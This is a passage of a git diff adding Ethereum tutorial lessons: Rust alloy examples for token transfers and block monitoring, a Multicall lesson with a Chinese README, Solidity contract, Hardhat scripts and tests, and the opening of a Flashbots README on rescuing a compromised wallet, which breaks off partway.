+        "keccak256": "0x1be45089def1d7d2fcdc76c7caedd6f1e89ff334bb8c9e27046f3c6dd72e0655",
+        "urls": [
+          "bzz-raw://6bbe28def3091e1fc903d29b3118d8964826c140d659fd804cb4efb9e7ff81f3",
+          "dweb:/ipfs/QmZAPGRzfS7xPhEMN4kWjkrKdkKdg5gKfZh4y344UAsKC3"
+        ],
+        "license": "MIT"
+      },
+      "src/@openzeppelin/contracts/token/ERC20/IERC20.sol": {
+        "keccak256": "0x00c839ff53d07d19db2e7cfa1e5133f9ee90a8d64b0e2e57f50446a2d1a3a0e0",
+        "urls": [
+          "bzz-raw://3dac621d015a68a5251b1e5d41dda0faf252699bf6e8bcf46a958b29964d9dd1",
+          "dweb:/ipfs/QmP9axjgZv4cezAhALoTemM62sdLtMDJ9MGTxECnNwHgSJ"
+        ],
+        "license": "MIT"
+      },
+      "src/@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol": {
+        "keccak256": "0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca",
+        "urls": [
+          "bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd",
+          "dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8"
+        ],
+        "license": "MIT"
+      },
+      "src/@openzeppelin/contracts/utils/Context.sol": {
+        "keccak256": "0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7",
+        "urls": [
+          "bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92",
+          "dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"
+        ],
+        "license": "MIT"
+      },
+      "src/ERC20Example.sol": {
+        "keccak256": "0x0abc6dab644c5533cf6828c3184aeed07256cdf9b597be244a7612c50a0ef258",
+        "urls": [
+          "bzz-raw://eda3e2e04667056620ca8d07dee12a46308d87d6f3777b4a68d839999543104a",
+          "dweb:/ipfs/QmeMz9jiAGXa1FWvsGdoHaD1LXBs3cdtnz6B4p7ag6REL8"
+        ],
+        "license": "MIT"
+      }
+    },
+    "version": 1
+  },
+  "id": 4
+}
\ No newline at end of file
diff --git a/basic/38-alloy-rust/src/main.rs b/basic/38-alloy-rust/src/main.rs
new file mode 100644
index 000000000..406df5c8b
--- /dev/null
+++ b/basic/38-alloy-rust/src/main.rs
@@ -0,0 +1,96 @@
+use std::env;
+use alloy::{providers::ProviderBuilder, sol};
+use alloy::network::EthereumWallet;
+// use alloy::primitives::{U256, address, utils::{format_ether, Unit}};
+use bigdecimal::{
+    num_bigint::{BigInt, Sign},
+    BigDecimal,
+};
+
+use alloy::{
+    primitives::{
+        address,
+        utils::{format_ether, Unit},
+        U256,
+    },
+    rpc::types::TransactionRequest
+};
+
+use alloy::providers::Provider;
+use alloy::signers::local::{PrivateKeySigner};
+use dotenv::dotenv;
+use eyre::Result;
+use log::info;
+
+sol!(
+    #[allow(missing_docs)]
+    #[sol(rpc)]
+    SimpleToken,
+    "src/abi/SimpleToken.json"
+);
+
+#[tokio::main]
+async fn main() -> Result<(), Box<dyn std::error::Error>> {
+    dotenv().ok();
+    env_logger::init();
+
+    let rpc_url = env::var("RPC_LOCAL")?;
+    let private_key = env::var("DEV_PRIVATE_KEY")?;
+
+    let signer: PrivateKeySigner = private_key.parse().expect("Failed to parse private key");
+    let address = signer.address();
+    info!("Using address: {}", address);
+    let provider =
+        ProviderBuilder::new().wallet(signer).connect(rpc_url.as_str()).await?;
+
+
+    let chain_id = provider.get_chain_id().await?;
+    info!("Connected to chain {}", chain_id);
+
+    // let erc20_contract = SimpleToken::new("0xapple".parse()?, provider);
+    let erc20_contract = SimpleToken::deploy(provider.clone()).await?;
+
+
+    // transfer token 
+    let amount = U256::from(100u64);
+    let receipt = erc20_contract.transfer(address, amount).send().await?.get_receipt().await?;
+
+    assert!(receipt.status());
+    info!("Transfer successful");
+
+    let balance = erc20_contract.balanceOf(address).call().await?;
+
+    
+    // println!("Balance: {:.3}", format_ether(balance));
+    println!("Balance: {:?}", balance);
+
+
+    // send ether
+
+    let alice = address!("0x70997970C51812dc3A010C7d01b50e0d17dc79C8");
+    let value = Unit::ETHER.wei().saturating_mul(U256::from(100));
+    let tx = TransactionRequest::default().to(alice).value(value);
+
+    let pending_tx = provider.clone().send_transaction(tx).await?;
+    println!("Pending transaction... {}", pending_tx.tx_hash());
+ 
+    // Wait for the transaction to be included and get the receipt.
+    let receipt = pending_tx.get_receipt().await?;
+    println!(
+        "Transaction included in block {}",
+        receipt.block_number.expect("Failed to get block number")
+    );
+ 
+    println!("Transferred {:.5} ETH to {alice}", format_ether(value));
+
+    Ok(())
+}
+
+
+
+// pub fn get_balance(amount: U256) -> BigDecimal {
+//     BigDecimal::from((
+//         BigInt::from_bytes_be(Sign::Plus, &amount.to_be_bytes::<{ U256::BYTES }>()),
+//         18,
+//     ))
+// }
\ No newline at end of file
diff --git a/basic/38-alloy-rust/src/monitor.rs b/basic/38-alloy-rust/src/monitor.rs
new file mode 100644
index 000000000..eaab7ae0d
--- /dev/null
+++ b/basic/38-alloy-rust/src/monitor.rs
@@ -0,0 +1,67 @@
+use alloy::{
+    primitives::{address, utils::{format_ether, Unit}, U256, Address },
+    providers::{Provider, ProviderBuilder, WsConnect},
+    signers::local::PrivateKeySigner,
+    sol
+};
+use std::error::Error;
+use futures::StreamExt;
+use dotenv::dotenv;
+
+use std::env;
+
+// Generate bindings for the WETH9 contract
+sol! {
+    #[sol(rpc)]
+    contract WETH9 {
+        function deposit() public payable;
+        function balanceOf(address) public view returns (uint256);
+        function withdraw(uint amount) public;
+    }
+}
+ 
+
+ 
+#[tokio::main]
+async fn main() -> Result<(), Box<dyn Error>> {
+
+    dotenv().ok();
+    // Connect to an Ethereum node via WebSocket
+    let provider = ProviderBuilder::new()
+        .connect_ws(WsConnect::new("wss://eth.drpc.org"))
+        .await?;
+ 
+    // Uniswap V3 ETH-USDC Pool address
+    let uniswap_pool = "0x8ad599c3A0ff1De082011EFDDc58f1908eb6e6D8".parse::<Address>()?;
+ 
+    // Subscribe to new blocks
+    let mut block_stream = provider.subscribe_blocks().await?.into_stream();
+    println!("🔄 Monitoring for new blocks...");
+
+
+
+    // weth load
+    let private_key = env::var("DEV_PRIVATE_KEY")?;
+    let signer: PrivateKeySigner = private_key.parse().expect("Failed to parse private key");
+    let weth_address = address!("0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2");
+    let weth = WETH9::new(weth_address, provider.clone());
+
+    let erc20_contract = WETH9::new("0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2".parse()?, provider);
+ 
+    // Process each new block as it arrives
+    while let Some(block) = block_stream.next().await {
+        println!("🧱 Block #{}: {}", block.number, block.hash);
+ 
+        // Get contract balance at this block
+        // let balance = provider
+        //     .get_balance(uniswap_pool)
+        //     .block_id(block.number.into())
+        //     .await?;
+ 
+        let balance = erc20_contract.balanceOf(uniswap_pool).call().await?;
+        // Format the balance in ETH
+        println!("💰 Uniswap V3 ETH-USDC Pool balance: {} ETH", format_ether(balance));
+    }
+ 
+    Ok(())
+}
\ No newline at end of file
diff --git a/basic/39-Multicall/.env.example b/basic/39-Multicall/.env.example
new file mode 100644
index 000000000..11d9e997c
--- /dev/null
+++ b/basic/39-Multicall/.env.example
@@ -0,0 +1 @@
+INFURA_ID=yyyyyyyy
\ No newline at end of file
diff --git a/basic/39-Multicall/.gitignore b/basic/39-Multicall/.gitignore
new file mode 100644
index 000000000..36077f288
--- /dev/null
+++ b/basic/39-Multicall/.gitignore
@@ -0,0 +1,9 @@
+node_modules
+.env
+coverage
+coverage.json
+typechain
+
+#Hardhat files
+cache
+artifacts
diff --git a/basic/39-Multicall/README.md b/basic/39-Multicall/README.md
new file mode 100644
index 000000000..a03a8816d
--- /dev/null
+++ b/basic/39-Multicall/README.md
@@ -0,0 +1,110 @@
+# Multicall
+
+Multicall aggregates results from multiple contract **constant function calls**.
+This reduces the number of separate JSON RPC requests that need to be sent (especially useful if using remote nodes like Infura), while also providing the guarantee that all values returned are from the same block (like an atomic read) and returning the block number the values are from (giving them important context so that results from old blocks can be ignored if they're from an out-of-date node).
+
+This smart contract is intended to be used with **Multicall.js** in front-end dapps
+
+## 合约调用方法
+
+合约之间的调用有 2 种方式： 底层的 call 方式和 new 合约的方式
+
+call：通过合约 ContractAddres.call(编码后的方法名和参数），返回调用是否成功，以及返回值 data
+
+delegatecall ：设计是为了调用其它合约的 API 用的,类似于 Copy 了 API 合约的 API 函数到**本地合约**执行，会修改调用者合约的状态变量。
+
+staticcall： Since byzantium staticcall can be used as well. This is basically the same as call, but will revert if the called function modifies the state in any way
+eth.call 方法可以在本地节点执行方法；
+
+## Multicall.js
+
+Multicall.js 是一个轻量级的 JavaScript 库, 用于与多个智能合约进行交互.
+Multicall.js 库具有以下这些特点:
+
+- 在一次调用中获取多个智能合约函数调用的返回值
+- 保证所有值都来自同一个块
+- 使用观察者轮询多个区块链状态变量/函数
+- 当观察者检测到状态发生变化时获取更新
+- 不同步节点的结果会被自动忽略
+- 获取新的区块更新
+
+## indexed-finance-multicall.js
+
+与常规 Muticall 合约调用不同，indexed-finance multicall 不用依赖链上已经部署成功的 multicall 合约，而是将 muticall 请求放到了待部署合约的 constructor 中，通过假部署的方式，拿到链上查询的结果。  
+indexed-finance multicall 的“骚操作”：
+
+1. constructor 中进行 muticall 请求
+2. 利用 `assembly` 修改 evm 的返回数据，替换为 muticall 请求结果
+   - 使用 `eth_call` 执行交易，在 EVM 中会先执行，再回退交易状态
+
+```solidity
+contract MultiCall {
+    constructor(
+        address[] memory targets,
+        bytes[] memory datas
+    ) public {
+        uint256 len = targets.length;
+        require(datas.length == len, "Error: Array lengths do not match.");
+
+        bytes[] memory returnDatas = new bytes[](len);
+
+        for (uint256 i = 0; i < len; i++) {
+            address target = targets[i];
+            bytes memory data = datas[i];
+            (bool success, bytes memory returnData) = target.call(data);
+            if (!success) {
+                returnDatas[i] = bytes("");
+            } else {
+                returnDatas[i] = returnData;
+            }
+        }
+        bytes memory data = abi.encode(block.number, returnDatas);
+        assembly { return(add(data, 32), data) } // @notice: 这里是骚操作
+    }
+}
+```
+
+## 测试步骤
+
+- 安装依赖
+
+```shell
+yarn
+```
+
+- 配置环境变量
+
+```shell
+cp .env.example .env
+
+## 配置 .evn 文件中的 INFURA_ID
+```
+
+- 测试 makerdao-multicall.js
+
+```shell
+npx hardhat run scripts/makerdao-multicall.js
+```
+
+- 测试 indexed-finance-multicall.js
+
+```shell
+npx hardhat run scripts/indexed-finance-multicall.js
+```
+
+- 单元测试
+
+```shell
+npx hardhat test --network mainnet
+```
+
+
+TODO： 
+https://github.com/Vectorized/multicaller/blob/main/src/MulticallerWithSender.sol 
+## 参考链接
+
+- Multicall.js github 地址: https://github.com/makerdao/multicall.js
+- index finance github 地址: https://github.com/indexed-finance/dividends/tree/master/contracts
+- Solidity Call 函数: https://www.jianshu.com/p/a5c97d0d7cae
+- call/delegatecall/staticcall 介绍: https://zhuanlan.zhihu.com/p/35292014
+- https://destiner.io/blog/post/multicall-how-to-make-multiple-ethereum-calls-in-a-single-request/
\ No newline at end of file
diff --git a/basic/39-Multicall/contracts/Multicall.sol b/basic/39-Multicall/contracts/Multicall.sol
new file mode 100644
index 000000000..08db3dd34
--- /dev/null
+++ b/basic/39-Multicall/contracts/Multicall.sol
@@ -0,0 +1,74 @@
+// SPDX-License-Identifier: MIT
+
+
+pragma solidity ^0.8.0;
+
+/// @title Multicall - Aggregate results from multiple read-only function calls
+/// @author Michael Elliot <mike@makerdao.com>
+/// @author Joshua Levine <joshua@makerdao.com>
+/// @author Nick Johnson <arachnid@notdot.net>
+
+contract Multicall {
+   struct Call {
+        address target;
+        bytes callData;
+    }
+    struct Result {
+        bool success;
+        bytes returnData;
+    }
+
+    function aggregate(Call[] memory calls) public returns (uint256 blockNumber, bytes[] memory returnData) {
+        blockNumber = block.number;
+        returnData = new bytes[](calls.length);
+        for(uint256 i = 0; i < calls.length; i++) {
+            (bool success, bytes memory ret) = calls[i].target.call(calls[i].callData);
+            require(success, "Multicall aggregate: call failed");
+            returnData[i] = ret;
+        }
+    }
+    function blockAndAggregate(Call[] memory calls) public returns (uint256 blockNumber, bytes32 blockHash, Result[] memory returnData) {
+        (blockNumber, blockHash, returnData) = tryBlockAndAggregate(true, calls);
+    }
+    function getBlockHash(uint256 blockNumber) public view returns (bytes32 blockHash) {
+        blockHash = blockhash(blockNumber);
+    }
+    function getBlockNumber() public view returns (uint256 blockNumber) {
+        blockNumber = block.number;
+    }
+    function getCurrentBlockCoinbase() public view returns (address coinbase) {
+        coinbase = block.coinbase;
+    }
+    function getCurrentBlockDifficulty() public view returns (uint256 difficulty) {
+        difficulty = block.difficulty;
+    }
+    function getCurrentBlockGasLimit() public view returns (uint256 gaslimit) {
+        gaslimit = block.gaslimit;
+    }
+    function getCurrentBlockTimestamp() public view returns (uint256 timestamp) {
+        timestamp = block.timestamp;
+    }
+    function getEthBalance(address addr) public view returns (uint256 balance) {
+        balance = addr.balance;
+    }
+    function getLastBlockHash() public view returns (bytes32 blockHash) {
+        blockHash = blockhash(block.number - 1);
+    }
+    function tryAggregate(bool requireSuccess, Call[] memory calls) public returns (Result[] memory returnData) {
+        returnData = new Result[](calls.length);
+        for(uint256 i = 0; i < calls.length; i++) {
+            (bool success, bytes memory ret) = calls[i].target.call(calls[i].callData);
+
+            if (requireSuccess) {
+                require(success, "Multicall2 aggregate: call failed");
+            }
+
+            returnData[i] = Result(success, ret);
+        }
+    }
+    function tryBlockAndAggregate(bool requireSuccess, Call[] memory calls) public returns (uint256 blockNumber, bytes32 blockHash, Result[] memory returnData) {
+        blockNumber = block.number;
+        blockHash = blockhash(block.number);
+        returnData = tryAggregate(requireSuccess, calls);
+    }
+}
\ No newline at end of file
diff --git a/basic/39-Multicall/hardhat.config.js b/basic/39-Multicall/hardhat.config.js
new file mode 100644
index 000000000..79ff3f7db
--- /dev/null
+++ b/basic/39-Multicall/hardhat.config.js
@@ -0,0 +1,42 @@
+require('@nomiclabs/hardhat-waffle');
+require('dotenv').config();
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task('accounts', 'Prints the list of accounts', async (taskArgs, hre) => {
+  const accounts = await hre.ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+function mnemonic() {
+  //can config 3 PRIVATE_KEY
+  //return process.env.PRIVATE_KEY,process.env.PRIVATE_KEY1,process.env.PRIVATE_KEY2;
+  return process.env.PRIVATE_KEY;
+}
+
+// You need to export an object to set up your config
+// Go to https://hardhat.org/config/ to learn more
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  networks: {
+    hardhat: {},
+    sepolia: {
+      url: `https://sepolia.infura.io/v3/${process.env.INFURA_ID}`,
+      accounts: [mnemonic()],
+    },
+    mainnet: {
+      url: `https://mainnet.infura.io/v3/${process.env.INFURA_ID}`,
+      accounts: [mnemonic()],
+    },
+  },
+  solidity: '0.8.4',
+  mocha: {
+    timeout: 60000,
+  },
+};
diff --git a/basic/39-Multicall/package.json b/basic/39-Multicall/package.json
new file mode 100644
index 000000000..05ce429fa
--- /dev/null
+++ b/basic/39-Multicall/package.json
@@ -0,0 +1,14 @@
+{
+  "name": "hardhat-project",
+  "devDependencies": {
+    "@indexed-finance/multicall": "^2.0.0",
+    "@makerdao/multicall": "0.12.0",
+    "@nomiclabs/hardhat-ethers": "^2.0.3",
+    "@nomiclabs/hardhat-waffle": "^2.0.1",
+    "chai": "^4.3.4",
+    "dotenv": "^10.0.0",
+    "ethereum-waffle": "^3.4.0",
+    "ethers": "^5.5.2",
+    "hardhat": "^2.8.0"
+  }
+}
\ No newline at end of file
diff --git a/basic/39-Multicall/scripts/balance.js b/basic/39-Multicall/scripts/balance.js
new file mode 100644
index 000000000..e178a321b
--- /dev/null
+++ b/basic/39-Multicall/scripts/balance.js
@@ -0,0 +1,57 @@
+const { ethers } = require('hardhat');
+require('dotenv').config();
+
+const provider = new ethers.providers.JsonRpcProvider(`https://mainnet.infura.io/v3/${process.env.INFURA_ID}`);
+
+// Check the balance of the null address for dai and weth
+async function main() {
+  const [deployer] = await ethers.getSigners();
+
+  console.log('Deploying contracts with the account:', deployer.address);
+
+  const tokens = [
+    '0x6b175474e89094c44da98b954eedeac495271d0f', // dai
+    '0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48', // USDC
+    '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2', // weth
+  ];
+  const account = '0x89F2ab029DcD11bD5A00Ed6A77ccBE46315212e8';
+
+  console.log(`Checking balances for ${account}`);
+
+  const Multicall = await ethers.getContractFactory('Multicall');
+
+  const erc20Abi = [
+    {
+      constant: true,
+      inputs: [{ name: '_owner', type: 'address' }],
+      name: 'balanceOf',
+      outputs: [{ name: 'balance', type: 'uint256' }],
+      type: 'function',
+    },
+  ];
+
+  const balanceCalls = tokens.map((tokenAddress) => ({
+    target: tokenAddress,
+    callData: new ethers.utils.Interface(erc20Abi).encodeFunctionData('balanceOf', [account]),
+  }));
+
+  // console.log(`balanceCalls: ${JSON.stringify(balanceCalls)}`);
+
+  const multicall = await Multicall.attach('0x5ba1e12693dc8f9c48aad8770482f4739beed696');
+
+  // let balanceFunciton = '0x70a08231' + '000000000000000000000000' + account.substring(2);
+
+  // const result = await multicall.callStatic.aggregate([{ target: tokens[1], callData: balanceFunciton }]);
+  const result = await multicall.callStatic.aggregate(balanceCalls);
+
+  console.log(`result: ${JSON.stringify(result[1])}`);
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/39-Multicall/scripts/indexed-finance-multicall.js b/basic/39-Multicall/scripts/indexed-finance-multicall.js
new file mode 100644
index 000000000..cba4c54c0
--- /dev/null
+++ b/basic/39-Multicall/scripts/indexed-finance-multicall.js
@@ -0,0 +1,40 @@
+const { ethers } = require('ethers');
+const { getBalances } = require('@indexed-finance/multicall');
+require('dotenv').config();
+
+const provider = new ethers.providers.JsonRpcProvider(`https://mainnet.infura.io/v3/${process.env.INFURA_ID}`);
+
+// Check the balance of the null address for dai and weth
+async function main() {
+  const tokens = [
+    '0x6b175474e89094c44da98b954eedeac495271d0f', // dai
+    '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2', // weth
+    '0x0000000000000000000000000000000000000000', // eth
+  ];
+  const account = '0x89f2ab029dcd11bd5a00ed6a77ccbe46315212e8';
+
+  console.log(`Checking balances for ${account}`);
+  const [blockNumber, balances] = await getBalances(provider, tokens, account).catch((err) => {});
+
+  console.log(`BlockNumber: ${blockNumber}`);
+  console.log(`Balances: ${JSON.stringify(balances)}`);
+  const daiBalance = balances['0x6b175474e89094c44da98b954eedeac495271d0f'];
+  const wethBalance = balances['0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2'];
+  const ethBalance = balances['0x0000000000000000000000000000000000000000'];
+
+  console.log(`
+  BalanceOf zero address at blockNumber ${blockNumber}
+  daiBalance:  ${daiBalance.toString()}
+  wethBalance: ${wethBalance.toString()}
+  ethBalance:  ${ethBalance.toString()}
+  `);
+}
+
+// We recommend this pattern to be able to use async/await everywhere
+// and properly handle errors.
+main()
+  .then(() => process.exit(0))
+  .catch((error) => {
+    console.error(error);
+    process.exit(1);
+  });
diff --git a/basic/39-Multicall/scripts/makerdao-multicall.js b/basic/39-Multicall/scripts/makerdao-multicall.js
new file mode 100644
index 000000000..a1d422440
--- /dev/null
+++ b/basic/39-Multicall/scripts/makerdao-multicall.js
@@ -0,0 +1,116 @@
+const { createWatcher } = require('@makerdao/multicall');
+require('dotenv').config();
+
+const MKR_TOKEN = '0xaaf64bfcc32d0f15873a02163e7e500671a4ffcd';
+const MKR_WHALE = '0xdb33dfd3d61308c33c63209845dad3e6bfb2c674';
+const MKR_FISH = '0x2dfcedcb401557354d0cf174876ab17bfd6f4efd';
+const PRICE_FEED_ETH = '0xa5aA4e07F5255E14F02B385b1f04b35cC50bdb66';
+
+// Preset can be 'mainnet', 'kovan', 'rinkeby', 'goerli' or 'xdai'
+// const config = { preset: 'kovan' };
+
+// Alternatively the rpcUrl and multicallAddress can be specified manually
+const config = {
+  rpcUrl: `wss://sepolia.infura.io/ws/v3/${process.env.INFURA_ID}`,
+  multicallAddress: '0x2cc8688c5f75e365aaeeb4ea8d6a480405a48d2a',
+  interval: 1000,
+};
+
+(async () => {
+  const watcher = createWatcher(
+    [
+      {
+        call: ['getEthBalance(address)(uint256)', '0x72776bb917751225d24c07d0663b3780b2ada67c'],
+        returns: [['ETH_BALANCE', (val) => val / 10 ** 18]],
+      },
+      {
+        target: MKR_TOKEN,
+        call: ['balanceOf(address)(uint256)', MKR_WHALE],
+        returns: [['BALANCE_OF_MKR_WHALE', (val) => val / 10 ** 18]],
+      },
+      {
+        target: PRICE_FEED_ETH,
+        call: ['peek()(uint256,bool)'],
+        returns: [['PRICE_FEED_ETH_PRICE', (val) => val / 10 ** 18], ['PRICE_FEED_ETH_SET']],
+      },
+    ],
+    config
+  );
+
+  watcher.subscribe((update) => {
+    console.log(`Update: ${update.type} = ${update.value}`);
+  });
+
+  watcher.batch().subscribe((updates) => {
+    // Handle batched updates here
+    // Updates are returned as { type, value } objects, e.g:
+    // { type: 'BALANCE_OF_MKR_WHALE', value: 70000 }
+  });
+
+  watcher.onNewBlock((blockNumber) => {
+    console.log(`New block: ${blockNumber}`);
+  });
+
+  setTimeout(async () => {
+    watcher.start();
+
+    await watcher.awaitInitialFetch();
+
+    console.log('Initial fetch completed');
+
+    // Update the calls
+    setTimeout(() => {
+      console.log('Updating calls...');
+      const fetchWaiter = watcher.tap((calls) => [
+        ...calls,
+        {
+          target: MKR_TOKEN,
+          call: ['balanceOf(address)(uint256)', MKR_FISH],
+          returns: [['BALANCE_OF_MKR_FISH', (val) => val / 10 ** 18]],
+        },
+      ]);
+      fetchWaiter.then(() => {
+        console.log('Initial fetch completed');
+      });
+    }, 1000);
+
+    // Recreate watcher (useful if network has changed)
+    setTimeout(() => {
+      console.log('Recreating with new calls and config...');
+      const fetchWaiter = watcher.recreate(
+        [
+          {
+            target: MKR_TOKEN,
+            call: ['balanceOf(address)(uint256)', MKR_WHALE],
+            returns: [['BALANCE_OF_MKR_WHALE', (val) => val / 10 ** 18]],
+          },
+        ],
+        config
+      );
+      fetchWaiter.then(() => {
+        console.log('Initial fetch completed');
+      });
+    }, 2000);
+  }, 1);
+
+  // When subscribing to state updates, previously cached values will be returned immediately
+  // setTimeout(() => {
+  //   console.log(
+  //     'Subscribing to updates much later (will immediately return cached values)'
+  //   );
+  //   watcher.subscribe(update => {
+  //     console.log(
+  //       `Update (2nd subscription): ${update.type} = ${update.value}`
+  //     );
+  //   });
+  //   watcher.onNewBlock(blockNumber => {
+  //     console.log(`New block (2nd subscription): ${blockNumber}`);
+  //   });
+  // }, 15000);
+})();
+
+(async () => {
+  await new Promise((res) => {
+    setTimeout(res, 60000);
+  });
+})();
diff --git a/basic/39-Multicall/test/indexedFinanceMulticall.test.js b/basic/39-Multicall/test/indexedFinanceMulticall.test.js
new file mode 100644
index 000000000..428d08c0e
--- /dev/null
+++ b/basic/39-Multicall/test/indexedFinanceMulticall.test.js
@@ -0,0 +1,122 @@
+// npx hardhat test --network mainnet
+const { expect } = require('chai');
+const { ethers } = require('hardhat');
+const { createWatcher } = require('@makerdao/multicall');
+const { default: IndexedFinanceMultiCall } = require('@indexed-finance/multicall');
+
+const ERC20abi = [
+  {
+    inputs: [{ internalType: 'address', name: 'account', type: 'address' }],
+    name: 'balanceOf',
+    outputs: [{ internalType: 'uint256', name: '', type: 'uint256' }],
+    stateMutability: 'view',
+    type: 'function',
+  },
+  {
+    inputs: [
+      { internalType: 'address', name: 'owner', type: 'address' },
+      { internalType: 'address', name: 'spender', type: 'address' },
+    ],
+    name: 'allowance',
+    outputs: [{ internalType: 'uint256', name: '', type: 'uint256' }],
+    stateMutability: 'view',
+    type: 'function',
+  },
+];
+
+const PairAbi = [
+  {
+    constant: true,
+    inputs: [],
+    name: 'getReserves',
+    outputs: [
+      { internalType: 'uint112', name: '_reserve0', type: 'uint112' },
+      { internalType: 'uint112', name: '_reserve1', type: 'uint112' },
+      { internalType: 'uint32', name: '_blockTimestampLast', type: 'uint32' },
+    ],
+    payable: false,
+    stateMutability: 'view',
+    type: 'function',
+  },
+];
+
+// mainnet address
+const tokens = [
+  '0x6b175474e89094c44da98b954eedeac495271d0f', // dai
+  '0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2', // weth
+  '0x0000000000000000000000000000000000000000', // eth
+];
+
+describe('Multicall contract', function () {
+  let user1;
+  let muticall;
+  let dai, weth;
+
+  beforeEach(async function () {
+    [user1] = await ethers.getSigners();
+    muticall = new IndexedFinanceMultiCall(ethers.provider);
+    dai = new ethers.Contract(tokens[0], ERC20abi, ethers.provider);
+    weth = new ethers.Contract(tokens[1], ERC20abi, ethers.provider);
+  });
+
+  it('General Usage', async function () {
+    const account = '0x0000000000000000000000000000000000000000';
+
+    const inputs = [];
+    for (let _token of [tokens[0], tokens[1]]) {
+      inputs.push({ target: _token, function: 'balanceOf', args: [account] });
+    }
+    const [blockNumber, balances] = await muticall.multiCall(ERC20abi, inputs);
+
+    const daiBalance = balances[0];
+    const wethBalance = balances[1];
+
+    expect(await dai.balanceOf(account)).to.eq(daiBalance);
+    expect(await weth.balanceOf(account)).to.eq(wethBalance);
+  });
+
+  it('Querying Token Balances', async function () {
+    const account = '0x0000000000000000000000000000000000000000';
+    const [blockNumber, balances] = await muticall.getBalances(tokens, account);
+
+    const daiBalance = balances['0x6b175474e89094c44da98b954eedeac495271d0f'];
+    const wethBalance = balances['0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2'];
+    const ethBalance = balances['0x0000000000000000000000000000000000000000'];
+
+    expect(await dai.balanceOf(account)).to.eq(daiBalance);
+    expect(await weth.balanceOf(account)).to.eq(wethBalance);
+    expect(await ethers.provider.getBalance(account)).to.eq(ethBalance);
+  });
+
+  it('Querying Token Balances and Allowances', async function () {
+    const owner = '0x0000000000000000000000000000000000000000';
+    const spender = '0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D'; // uniswap v2 router
+    const [blockNumber, balancesAndAllowances] = await muticall.getBalancesAndAllowances([tokens[0], tokens[1]], owner, spender);
+
+    const { allowance: daiAllowance } = balancesAndAllowances['0x6b175474e89094c44da98b954eedeac495271d0f'];
+    const { allowance: wethAllowance } = balancesAndAllowances['0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2'];
+
+    expect(await dai.allowance(owner, spender)).to.eq(daiAllowance);
+    expect(await weth.allowance(owner, spender)).to.eq(wethAllowance);
+  });
+
+  it('Querying Uniswap Pair Reserves', async function () {
+    const pairs = [
+      '0xa478c2975ab1ea89e8196811f51a7b7ade33eb11', // dai-weth
+      '0x004375dff511095cc5a197a54140a24efef3a416', // wbtc-usdc
+    ];
+    const [blockNumber, reserves] = await muticall.getReserves(pairs);
+
+    const { reserve0: daiWethR0, reserve1: daiWethR1, blockTimestampLast: daiWethTimestamp } = reserves[pairs[0]];
+    const pair0 = new ethers.Contract(pairs[0], PairAbi, ethers.provider);
+    const res0 = await pair0.getReserves();
+    expect(res0[0]).to.eq(daiWethR0);
+    expect(res0[1]).to.eq(daiWethR1);
+
+    const { reserve0: wbtcUsdcR0, reserve1: wbtcUsdcR1, blockTimestampLast: wbtcUsdcTimestamp } = reserves[pairs[1]];
+    const pair1 = new ethers.Contract(pairs[1], PairAbi, ethers.provider);
+    const res1 = await pair1.getReserves();
+    expect(res1[0]).to.eq(wbtcUsdcR0);
+    expect(res1[1]).to.eq(wbtcUsdcR1);
+  });
+});
diff --git a/basic/40-Flashbots/.env.example b/basic/40-Flashbots/.env.example
new file mode 100644
index 000000000..8503e2756
--- /dev/null
+++ b/basic/40-Flashbots/.env.example
@@ -0,0 +1,3 @@
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+PRIVATE_KEY_USER1=zzzzzz
+INFURA_ID=yyyyyyyy
\ No newline at end of file
diff --git a/basic/40-Flashbots/.gitignore b/basic/40-Flashbots/.gitignore
new file mode 100644
index 000000000..78cab73b2
--- /dev/null
+++ b/basic/40-Flashbots/.gitignore
@@ -0,0 +1,19 @@
+node_modules
+.env
+coverage
+coverage.json
+typechain
+
+#Hardhat files
+cache
+artifacts
+
+node_modules
+.env
+coverage
+coverage.json
+typechain
+
+#Hardhat files
+cache
+artifacts
diff --git a/basic/40-Flashbots/README.md b/basic/40-Flashbots/README.md
new file mode 100644
index 000000000..ae646de30
--- /dev/null
+++ b/basic/40-Flashbots/README.md
@@ -0,0 +1,137 @@
+## Flashbot 
+
+### 拯救被盗钱包
+
+**设置gasfee**
+您可以创建一系列交易，让盗账户执行，并且转账给矿工在此区块收到的ETH 。
+1559之后，必须设置baseFee，之前0 手续费的场景不再work
+```
+const block = await provider.getBlock(blockNumber)
+const maxBaseFeeInFutureBlock = FlashbotsBundleProvider.getMaxBaseFeeInFutureBlock(block.baseFeePerGas, BLOCKS_IN_THE_FUTURE)
+const eip1559Transaction = {
+    to: wallet.address,
+    type: 2,
+    maxFeePerGas: PRIORITY_FEE.add(maxBaseFeeInFutureBlock),
+    maxPriorityFeePerGas: PRIORITY_FEE,
+    gasLimit: 21000,
+    data: '0x',
+    chainId: CHAIN_ID
+}
+```
+
+**设置bundle transaction**
+```
